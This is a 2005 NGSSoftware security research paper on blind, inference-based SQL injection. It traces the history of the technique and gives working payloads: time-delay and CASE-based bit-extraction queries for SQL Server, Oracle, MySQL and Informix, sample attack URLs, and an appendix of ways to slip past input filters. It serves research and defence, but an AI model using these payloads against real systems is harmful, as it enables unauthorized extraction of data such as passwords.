Data-mining with SQL Injection and Inference

David Litchfield [davidl@ngssoftware.com]
30th September 2005

An NGSSoftware Insight Security Research (NISR) Publication

http://www.ngssoftware.com

Abstract
When drilling for data via SQL injection there are three classes of attack – inband, out-of-band and the relatively unknown inference attack. Inband attacks extract data over the same channel between the client and the web server, for example, results are embedded in a web page via a union select. Out-of-band attacks employ a different communications channel to drill for data by using database mail or HTTP functions for example. Inference attacks stand alone in the fact that no actual data is transferred – rather, a difference in the way an application behaves can allow an attacker to *infer* the value of the data. SQL Inference is the subject of this paper; this paper is the paper I promised I'd write after talking about this at the Blackhat Security Briefings in Europe of in the March of 2005. Better late than never!

What is SQL Injection?
A SQL Injection vulnerability is a type of security hole that is found in a multi-tiered application; it is where an attacker can trick a database server into running an arbitrary, unauthorized, unintended SQL query by piggybacking extra SQL elements on top of an existing, predefined query that was intended to be executed by the application. The application, which is generally, but not necessarily, a web application, accepts user input and embeds this input inside an SQL query. This query is sent to the application's database server where it is executed. By providing certain malformed input, an attacker can manipulate the SQL query in such a way that its execution will have unintended consequences.

This all sounds like a bit of a mouthful – one that can be more easily swallowed with an example. Consider an online bookstore. This bookstore's web server allows users to search for books by a given author. This search facility is implemented by querying a list of book titles in a backend database server limited by who (or what) the user enters as the author. This search functionality happens to be vulnerable to SQL injection. Instead of returning a list of book titles, by exploiting the vulnerability an attacker can trick the application into returning a list of all usernames, passwords, email addresses and credit card numbers of everyone that has ever used the bookstore. This scenario is not sensationalist - it's an easy attack that can be leveled against a SQL injection vulnerability.

In terms of risk, SQL injection is right up there at the top with problems like buffer overflows. I recently had an argument with a large database software vendor about this. They rated SQL injection problems as a low risk issue and were greatly more concerned with buffer overflows in their RDBMS offering. I pointed out to them that to exploit a buffer overflow in the database server one must first get past the organization's firewall. A nice easy way of doing this is through SQL injection: the firewall must allow inbound connections to the web server from the Internet so customers can access the web application; and if the application is vulnerable to SQL injection then the attacker can get access to the database and exploit the buffer overflow vulnerability. But here's the kicker – why would an attacker bother exploiting the buffer overflow vulnerability if they can arbitrarily gain access to the data in the database anyway? Since this discussion, I'm glad to report that the large database software vendor has since "upgraded" the status of SQL injection vulnerabilities and give them the respect they're due.

In terms of prevalence, 6 in 10 web applications that connect to a database server are vulnerable to SQL injection. This statistic is based upon the number of new applications that were found to be vulnerable when performing security assessments for clients over 2003/2004. This is shockingly high.

SQL injection is vendor agnostic: it doesn't matter whether the application is running Oracle, SQL Server, DB2, MySQL or Informix on Active/Java Server Pages, Cold Fusion Management, PHP or Perl – it can be vulnerable to SQL injection – though, as we'll see later, some are more at risk that others.

A Brief History of SQL Injection
On Christmas day, 1998 Phrack 54 was issued. Phrack[1], is a "Hacker magazine written by the community, for the community". It is an excellent source of technical security information and in this particular edition, 54, there was an article entitled "NT Web Technology Vulnerabilities" written by rfp –

or rain forest puppy. Amongst other things this article described a number of attacks that employed SQL injection, though at no point is this term used in the article. rfp discusses IDC and ASP applications running on Microsoft's Internet Information Server feeding into SQL Server 6.5. This article is the first real public outing of SQL injection – it just wasn't called SQL injection at that time. That would come later. Next of note was a security advisory published by Allaire[2] on February the 4th 1999, a little over a month after rfp's article. The security bulletin discusses the threat posed by "Multiple SQL Statements in Dynamic Queries".

Three months later we have another interesting note from rfp again – coauthored by Matthew Astley. Entitled "NT ODBC Remote Compromise" [3], the advisory discusses injecting VBA code into Access SQL queries – but again the term "injection" is not used. One day short of a year after the Allaire bulletin, on the 3rd of February rfp posts an advisory entitled, "How I hacked Packetstorm – A look at hacking wwwthreads via SQL" [4]. Though the term SQL injection had still yet to surface, rfp was making major inroads into the exploitation of such vulnerabilities. Packetstorm is a hacker site full of useful documents, exploits and scripts. By exploiting holes in the wwwthreads perl application rfp was able to inject arbitrary SQL gaining control of the database server – by making himself an administrator. In September, seven months after this, I submitted a talk for Blackhat Europe called "Application Assessments on IIS" [5] and, as part of it, I discuss attacking database servers via ASP applications using "SQL insertion". I presented the paper the day after Chip Andrews published the "SQL Injection FAQ" on the 23rd of October at SQLSecurity.com [6]. To my knowledge Chip's is the first usage of the term "SQL Injection" in a public document, though SANS [7] were using the term in their weekly bulletins at around the same time; which came first is not certain. In April 2001, again at Blackhat, I presented a paper on "Remote Web Application Disassembly using ODBC error messages" [8]. This paper introduced some new techniques that can be used to work out the exact structure of the database application using SQL injection. The next major leap forward came in January 2002 when Chris Anley published a paper entitled "Advanced SQL Injection in SQL Server Applications" [9]. This was the first paper to discuss SQL injection in great depth. Two days before this Kevin Spett had released his paper "SQL Injection - Are your web applications vulnerable?" [10] and in June, Chris follows up with another excellent paper that introduces time delays as a technique for accessing data, cunningly called, "(more) Advanced SQL Injection" [11]. For a while, the pen-testers at NGSSoftware had been using xp_cmdshell 'ping –n 10 127.0.0.1' to determine whether we could access the stored procedure – if the application paused for approximately 10 seconds then we could access it. Chris extended this to using time delays to drill for data and is the first example an inference attack. In August 2002, Cesar Cerrudo released a paper called "Manipulating Microsoft SQL Server Using SQL Injection" [12] and provided a tool called DataThief with the paper to enable data querying via the openrowset function. In the first week of September 2003 Ofer Maor and Amichai Shulman release a paper "Blindfolded SQL injection" [13] and at the end of September 2003 Sanctum release their take on "Blind SQL Injection" [14]. At Blackhat 2004 0x90.org released SQueaL [15], now known as Absinthe, a tool used to automate the querying of data via SQL injection. This short history mentions the key advancements in SQL injection but it must be noted that there have been many other papers discussing injection techniques for various database servers and for a range of application environments. Readers are encouraged to read the papers listed in this section unless they have already done so.

[1] http://www.phrack.org/
[2] http://www.macromedia.com/devnet/security/security_zone/asb99-04.html
[3] http://www.securiteam.com/windowsntfocus/2AVQ5QAQKM.html
[4] http://archives.neohapsis.com/archives/win2ksecadvice/2000-q1/0085.html
[5] http://www.blackhat.com/presentations/bh-europe-00/DavidLitchfield/David-bh-europe-00.ppt
[6] http://www.sqlsecurity.com/
[7] http://www.sans.org/
[8] http://www.ngssoftware.com/papers/webappdis.doc
[9] http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
[10] http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
[11] http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
[12] http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf
[13] http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
[14] http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf
[15] http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf

Data-mining with SQL Inference

When exploiting a SQL injection vulnerability there are three classes of data extraction methods that can be used to drill for data: inband, out-of-band and inference. Inband methods use the existing channel between the attacker and application to extract data. A couple of examples of this would be having the data returned in a well rendered webpage or in an error message. Out-of-band methods open a new channel between the client and the application; this usually involves having the database server connect out to the client using another network function such as e-mail, HTTP or even a database connection. Examples of these would be by using the OPENROWSET() function or XP_SENDMAIL procedure in SQL Server or SYS.UTL_HTTP.REQUEST in Oracle. Inference is where *no actual data is transferred directly* but by observing differences in the responses from the application the attacker can infer the value of the data. This is effected by "asking questions" and generating deliberate differences in the response based upon the answer. Inference can be done at the bit level – which I've termed data- chipping as it's far too slow to be called data mining – or inference can be as blunt as asking questions like, "Is the password foobar?" Inference will use a property such as time, web server status response codes or content differences to enable the attacker to infer correctly the value of the data.

Inference

At the core of the inference attack is a simple question. If the answer to this question is A then do Y; if the answer is B then do Z. The first example of an inference based attack came in Chris Anley's excellent paper "(more) Advanced SQL Injection" - http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf .

In this paper Chris uses the fact that Microsoft SQL Server will batch multiple queries and he injects the following Transact-SQL:

```
declare @s varchar(8000)
select @s = db_name()
if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay
'0:0:5'
```

In the Transact-SQL block, if the first bit of the first byte of the database name is set to 1 then the application will pause and not respond until after 5 seconds. If the bit is set to 0 then the application will return immediately. By measuring the time it takes for the application to respond you can infer whether the bit was 1 on 0. This was a major step forward as far as extracting data via SQL injection is concerned. It, for the first time, provided a method of retrieving data where all inband and out-of-band methods were unsuccessful. The implementation however only works on SQL Server and is marred by how slow it necessarily must be due to the time delay. Chris published this in 2002 and since then no real improvements have been made. Due to the fact that inference attacks can be used in *any* SQL injection situation it's worthwhile examining ways to improve upon the current state.

By using CASE statements we can build inline conditional queries that do not rely on a server's ability to batch multiple queries and most RDBMSes support CASE statements:

```
SELECT CASE WHEN condition THEN do_one_thing ELSE do_another END
```

For example, the *condition* could be when the first bit of a given byte of data is set to 1 then pause for 5 seconds – otherwise return. But why slow ourselves down by using time? We have complete flexibility to choose what *do_one_thing* is and what *do_another* is, too. These could be return successfully if the bit is 1 but cause an error if the bit is 0. This would cause the web server to generate a 200 OK response if the bit is 1 and a 500 Internal Server error if the bit is 0. Another option might be to return one string such as "success" if the bit is 1 or "failed" if the bit is 0. Feasibly, we could, if we really wanted, have the database server mail tech support with a message to call us about a broken modem if the bit is 1 and about a broken

monitor if the bit is 0. Hours later, when we get the call from them, if they tell us that they're calling with reference to a broken modem then we can infer that the bit was 1. This is, of course, ridiculous, but it does demonstrate that we're limited only by our imaginations as far as inference attacks go; but let's concentrate on practical ones.

Inference through Web Server Status Response Codes

By injecting a specific query into an Application Defined Query (ADQ) it is possible to cause the web server to generate a different response code based upon value of the data. For example, if one bit of a byte of the data is 1 then generate a 200 response; if the bit is 0 then generate a 500 response. The trick here is to use SQL that will not cause an error at compile time but will if the conditional branch is ever executed. One way that seems to work with most databases is a divide by 0 error – though it doesn't work with MySQL which doesn't even flinch. Other databases like Microsoft SQL Server, Oracle and DB2 will happily compile. Informix is an odd case because although a divide by 0 will cause an error the driver will not reflect this so a 200 response is still generated. The other database drivers will generate an error and thus a 500 response upon the following:

```
SELECT CASE WHEN condition THEN 1 ELSE 1/0 END
```

Only if the condition is not met will an error be generated – otherwise the query would return 1.

This technique works extremely well with SQL Server, Oracle and DB2 but not so well with MySQL or Informix. Depending upon the application environment it must be stated that the "error" response code may not be 500 – for example with PL/SQL on more recent versions of Oracle Application Server the response code is a 404 – File Not Found.

Before continuing with this we should consider where we'll place our conditional statement. Obviously we're constrained to a certain degree by the application and where it is vulnerable but even then we still have a high degree of control. For example assume the application executes the following ADQ.

```
SELECT TITLES FROM BOOKS WHERE AUTHOR = '$USERINPUT' AND PRICE < 10
```

We could use the double-dash SQL terminator and cut off "`AND PRICE < 10`":

http://www.example.com/page.ext?author=foo' + case_query - -

But what if the ADQ was actually much more complex and was a labyrinth of parentheses? If we were seeking a generic method so it would work with an automated tool then doing this would cause problems. Each new application would require us to fiddle about to get it to work. A much more reliable option would be to split and balance the parameter.

Parameter Splitting and Balancing

Consider the following query on Microsoft SQL Server:

```
SELECT TITLES FROM BOOKS WHERE AUTHOR = 'AAA' + 'B' + 'CCC'
```

We could modify this query and replace 'B' with a sub-select:

```
SELECT TITLES FROM BOOKS WHERE AUTHOR = 'AAA' + (SELECT 'B') + 'CCC'
```

The two queries are equivalent. We could then change it again to

```
SELECT TITLES FROM BOOKS WHERE AUTHOR = 'AAA' +
      (SELECT SUBSTRING('B',1,1)) + 'CCC'
```

Again this query is equivalent to the other two – and so is

```
SELECT TITLES FROM BOOKS WHERE AUTHOR = 'AAA' +
      (SELECT SUBSTRING('XYZB',4,1)) + 'CCC'
```

By now you should see where I'm going – regardless of the sub-query that splits the parameter they all return the same record set – all titles by the author "AAABCCC". Using this principle we have a generic method for injections that should work regardless on every application. Even if the ADQ places our parameter in a function :

```
SELECT TITLES FROM BOOKS WHERE AUTHOR = UPPER('$USERINPUT')
```

by splitting and balancing the parameter we're guaranteed to work. The same can be done for numeric data. The following queries are all equivalent:

```
SELECT NAME FROM BOOKS WHERE PAGES = 221
SELECT NAME FROM BOOKS WHERE PAGES = 221 + 1 - 1
SELECT NAME FROM BOOKS WHERE PAGES = 221 + (select 1) - 1
SELECT NAME FROM BOOKS WHERE PAGES = 221 + 0
SELECT NAME FROM BOOKS WHERE PAGES = 221 + (select ascii('A') - 65)
```

If we split and balance the input parameter then the query is guaranteed to work smoothly. This technique can be applied to all databases.

Content Manipulation Inference Attack

There's one major problem with tampering with the response codes – the web server error logs will be full of non-200 responses and as all good web server administrators read their logs (or should be!!!) they'll quickly realize something is amiss. This can be avoided with Content Manipulation Inference attack. With content manipulation the server response code stays constant – it is the content of the web page that is different. Going back to our online book store example where we can search for books by a given author, if we enter the author as "DICKENS" we get "A Christmas Carol" in the content of the web page. If we enter "DICKEXS" as the author we don't get "A Christmas Carol" in the response. Using parameter splitting and balancing we can force the application to search for books by "DICKENS" if the given bit of the byte is 1 but search for "DICKEXS" if the bit is 0. By doing this if the content of the web page contains the sting "A Christmas Carol" we can infer that the bit was 1 – and if the string is not present then we can infer that the bit was 0.

Examples

I have intentionally tried to avoid the use of certain characters in the SQL in this section as certain application environments may munge them. See Appendix A for more on this.

CASE statements for various databases

Let's look at some CASE statements for various databases avoiding the "dangerous" characters mentioned above. These statements will become our subqueries that we'll use to split and balance the input parameter. Assuming our vector is the following ADQ:

```
SELECT TITLES FROM BOOKS WHERE AUTHOR='$USERINPUT'
```

then our normal web request would be

http://www.example.com/search?author=DICKENS

On top of this, let's say that "A Christmas Carol" is returned as a title. If the backend was Microsoft SQL Server then, splitting and balancing the parameter we'd have

http://www.example.com/search?author=DICKE' + (select case when
ascii(substring((select @@version),1,1))^1
between 0 and ascii(substring((select @@version),1,1)) then char(78) else char(88) end) + 'S

Remember, to test if a bit is set we can say if byte^bit_position is less than byte then the bit is set otherwise the bit is not set. So here, we're checking if the first byte of the select @@version query, when xored with 1 is between 0 and the byte itself. If it is, then the query as a whole returns char(78) which is the letter 'N'. If the bit is not set then the query as a whole will return char(88) which is the letter 'X'. As such, when incorporated into the ADQ the search will be for books by an author of 'DICKENS' if the first bit was set or 'DICKEXS' if the bit was not set. By checking if the text "A Christmas Carol" appears in the returned content or not we can then infer whether the bit was set or not.

By then moving from 1 to 2 to 4 to 8 to 16 to 32 to 64 to 128 we can test all bits of the first byte. We then repeat the process for the next byte of the data returned from "select @@version" by upping the offset in the substring function:

http://www.example.com/search?author=DICKE' + (select case when
ascii(substring((select @@version),2,1))^1
between 0 and ascii(substring((select @@version),2,1)) then char(78) else char(88) end) + 'S

We keep going through each byte until we hit a point where for one byte in particular we hit 8 no-bit-set. This is our NULL terminator – in other words the end of the data. Needless to say that select @@version can be replaced with any query that returns a single value.

Oracle would be slightly different. For string data the case query would be

'|| (select case when
bitand(ascii(substr((sub-query),the_byte,1)), the_bit)
between 1 and 255 then chr(78) else chr(88) end from dual) ||'

Note the use of the bitand() function here. If the parameter is numerical then we could use

+ (select case when
bitand(ascii(substr((sub-query),the_byte,1)), the_bit) between 1 and 255 then 0 else 1 end
from dual)

For numeric values in MySQL the query to inject would be

+ (select case when (ascii(substring((sub-query),the_byte,1))^the_bit) between 0 and
ascii(substring((sub-query),the_byte,1)) then 0 else 1 end

and

' + (select case when (ascii(substring((sub-query),the_byte,1))^the_bit) between 0 and
ascii(substring((sub-query),the_byte,1)) then 0 else 1 end) + '

for string parameters.

The most cumbersome is Informix. As there is no cbar or chr function we have to carry our own around with us:

' || (select distinct case when bitval((SELECT distinct DECODE((select distinct (substr((sub-

query),the_byte,1)) from sysmaster:informix.systables),"{",123,"|",124,"}",125,"~",126,"!",33,"$",36,"(",40,")",41,"*",42,",",44,"-",45,".",46,"/",47," ",32,":",58,";",59,"_",95,"\\",92,".",46,"?",63,"-",45,"0",48,"1",49,"2",50,"3",51,"4",52,"5",53,"6",54,"7",55,"8",56,"9",57,"@",64,"A",65,"B",66,"C",67,"D",68,"E",69,"F",70,"G",71,"H",72,"I",73,"J",74,"K",75,"L",76,"M",77,"N",78,"O",79,"P",80,"Q",81,"R",82,"S",83,"T",84,"U",85,"V",86,"W",87,"X",88,"Y",89,"Z",90,"a",97,"b",98,"c",99,"d",100,"e",101,"f",102,"g",103,"h",104,"i",105,"j",106,"k",107,"l",108,"m",109,"n",110,"o",111,"p",112,"q",113,"r",114,"s",115,"t",116,"u",117,"v",118,"w",119,"x",120,"y",121,"z",122,63) from sysmaster:informix.systables),the_bit) between 1 and 255 then 'N' else 'X' end from sysmaster:informix.systables) ||'

Conclusion

Inference as a means of drilling for data can be used regardless of the application environment and regardless of the predefined application query – so long as the application is vulnerable to SQL injection. This is what makes it such a powerful and dangerous technique. As always, the best form of defence is not to have your applications vulnerable in the first place.

Appendix A: Avoiding special characters

Often, in an attempt to protect against SQL injection attacks, many applications will reject input if certain characters are present. For example, if a space exists in the input then it might be rejected. Other times, certain characters may be converted – for example the greater than sign > and the less than sign < may be converted to > and < respectively to help mitigate client cross site scripting attacks. ColdFusion does this and also converts the ampersand sign - & - to & and the double quotation mark – " – to ". If these characters appear in your arbitrary SQL then they'll be converted and the query will fail. ColdFusion and PHP are often known to double up single quotes as well.

Avoiding single quotes

Assume the query we want to run against a Microsoft SQL Server is

```
SELECT NAME,ID FROM SYSOBJECTS WHERE NAME = 'sysobjects'
```

but due to the single quotes being stripped or doubled up we can't. We can solve this in SQL Server by replacing 'sysobjects' with

```
SELECT NAME,ID FROM SYSOBJECTS WHERE NAME =
      0x7300790073006F0062006A006500630074
```

0x7300790073006F0062006A006500630074 is the hex representation of the Unicode string "sysobjects".

We can achieve the same result in MySQL. Instead of using 'root' we can use 0x726F6F74:

```
SELECT USER FROM USER WHERE USER = 0x726F6F74
```

The difference here of course is that SQL Server uses UNICODE where as MySQL does not.

For those databases that support a CHAR/CHR style function then this can also be used. Let's consider Oracle:

```
SELECT PASSWORD FROM DBA_USERS WHERE USERNAME =
```

```
CHR(83) || CHR(89) || CHR(83)
```

CHR(83) || CHR(89) || CHR(83) is equivalent to SYS. Informix does not support a CHAR/CHR function.

Avoiding spaces

If an application is vulnerable to SQL injection but won't allow the use of spaces in input then various methods can be used to resolve this problem. Assuming of course that tabs and newline and control feed characters are disallowed as well, that is white space characters in general are disallowed, then one can use the comment delimiters, /* … */, to help

```
SELECT/*ABC*/COL1/*PQR*/FROM/*XYZ*/TABLE
```

This works with most databases.

Another option is to use object delimiters. For example the following will work on Microsoft's SQL Server:

```
SELECT[NAME]FROM[SYSOBJECTS]WHERE[NAME]='sysobjects'
```

Using the same principle the following will work on Oracle:

```
SELECT"USERNAME"FROM"SYS"."DBA_USERS"WHERE"USERNAME"='SYS'
```

and this will work on MySQL:

```
SELECT(USER)FROM(USER)WHERE(USER)='root'
```

Avoiding angle brackets

The greater than and the less than signs may cause problems so a replacement is required for those queries that rely on such comparisons in a where clause. Rather than using

```
SELECT COL1 FROM TABLE WHERE ID > 10
```

you can use

```
SELECT COL FROM TABLE WHERE ID BETWEEN 10 AND nnn
```

where "*nnn*" is an upper limit. If less than 10 is required then the following will work in its place

```
SELECT COL FROM TABLE WHERE ID BETWEEN 0 AND 10
```

Avoiding the ampersand

Microsoft SQL Server and MySQL use the ampersand as a bitwise AND operator. If a bit operation is required then try to come up with a suitable substitute. For example, assume you want to check if the second low order bit is set for a given byte. You could request

if THE_BYTE & 2 > 0 then the bit is set; if the bit is not set the result is 0.

If we're not allowed to use the ampersand however we could maybe use the XOR operator - ^.

if THE_BYTE ^ 2 < THE_BYTE then the bit is set otherwise the result is greater.

Avoiding the equals character
It may be necessary to avoid the equal character sometimes. Assuming our query is

```
SELECT COL FROM TABLE WHERE XYZ = 333
```

then we could replace it with

```
SELECT COL FROM TABLE WHERE XYZ BETWEEN 332 AND 334
```

With string data LIKE can be used to replace the equals sign.